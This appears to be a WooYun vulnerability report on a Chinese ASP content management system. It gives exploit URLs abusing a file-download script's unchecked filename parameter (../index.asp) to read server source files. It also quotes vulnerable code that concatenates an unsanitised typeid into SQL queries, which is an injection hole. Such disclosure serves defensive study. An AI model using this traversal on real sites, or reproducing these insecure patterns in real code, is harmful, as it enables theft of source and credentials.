WooYun.org

EXP：
http://www.xxx.com/xxx/admin/fileopen.asp?filename=../index.asp
http://www.xxx.com/admin/fileopen.asp?filename=../index.asp

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%Option Explicit%>
<%
Dim Filename, s, fs, fl, Filesize
'取得文件名参数
Filename = Trim(Request.Form("filename"))
If Filename = "" Then Filename = Trim(Request.QueryString("filename"))
If Filename = "" Then Call ShowMessage("对不起，文件名为空！")
'转为绝对路径
If Mid(Filename, 2, 2) = ":\" Then Filename = Replace(Filename, "/", "\") Else Filename = Server.MapPath(Filename)
'检查文件是否存在
Set fs = Server.CreateObject("Scripting.FileSystemObject")
If Not fs.FileExists(Filename) Then Call ShowMessage("对不起，指定文件不存在！")
'取得文件大小
Set fl = fs.GetFile(Filename)
Filesize = fl.Size
'销毁FSO对象
Set fl = Nothing
Set fs = Nothing
'清理缓存
Response.Buffer = True
Response.Clear
'创建Stream对象
Set s = Server.CreateObject("ADODB.Stream")
s.Open
'设置为二进制方式
s.Type = 1
'容错
On Error Resume Next
'装载文件
s.LoadFromFile (Filename)
If Err Then Call ShowMessage("装载指定文件出现未知错误！")
'向浏览器输出头部
Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(Filename, InStrRev(Filename, "\") + 1)
Response.AddHeader "Content-Length", Filesize
'Response.CharSet="UTF-8"
Response.ContentType = "application/octet-stream"
'向浏览器输出文件
Response.BinaryWrite s.Read
Response.Flush
'销毁对象
s.Close: Set s = Nothing
'在本页输出提示信息
Sub ShowMessage(msg)
  Response.Write "<br><div align='center'><div style='color:red; font-weight:bold; text-align:center; border:1px solid #CCCCCC; background-color:#E8E8E8; padding:4px 2px 2px; width:300px; font-size:12px'>" & msg & "</div></div><br>"
  Response.End
End Sub
%>

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%Option Explicit%>
<!--#include file="../inc/conn.asp" -->
<!--#include file="../inc/Function.asp" -->
<!--#include file="../inc/SplitPage.inc" -->
<%
dim typeid,typename,i,word
typeid=Request.QueryString("typeid")
word=CheckStr(Request.QueryString("word"))
%>
......

<!--#include file="SETTINGS.ASP" -->
<%
dim con,rs,sql
On Error Resume Next
set con=Server.CreateObject("XINHAI.Database")
if err then response.redirect "error.asp?errstr=" & Server.urlencode("您可能尚未安装或者安装没有完成，请点击这里进行[<a href='setup.htm'>安装</a>]。")
On Error Goto 0
con.Path=pasdbpath
con.OpenDatabase
Sub conBatchExecute(str)
	con.execute(str)
End Sub
Function getFenyeRs(str)
	set getFenyeRs=con.execute(str,2)
End Function
%>

<%
'==== 设置数据库文件所在的路径 ====
Const pasdbpath="D:\网站\xinhai\db\356ghbhhi92sxvgjn9.asp"
%>

<div class="subright">
			<%
				typeid=request.QueryString("typeid")
				If typeid="" Then typeid=12
            %>
			<!--#include file="newslist.asp"-->
        </div>

<div class="newslist">
<%
'============================================
'头部信息
'============================================
if typeid="" Then
	response.Redirect "error2.html"
End If
sqlstr="Select typeName From Types Where typeid="&typeid
set rs=dbconn.Execute(sqlstr)
headname=rs("typeName")
rs.close
Set rs=nothing
%>
......
<div style="width:540px; border:0px solid #000;">
<table border="0" cellspacing="0" cellpadding="0" width="540">
<%
	sqlstr="select * from News where checkked=1 And typeid="&typeid&" order by NewsId desc"
	'response.Write sqlstr
	set rs=Server.CreateObject("ADODB.RecordSet")
	rs.open sqlstr,dbconn,1,1
	If rs.EOF Then
%>
	<tr><td colspan="3">没有记录</td></tr>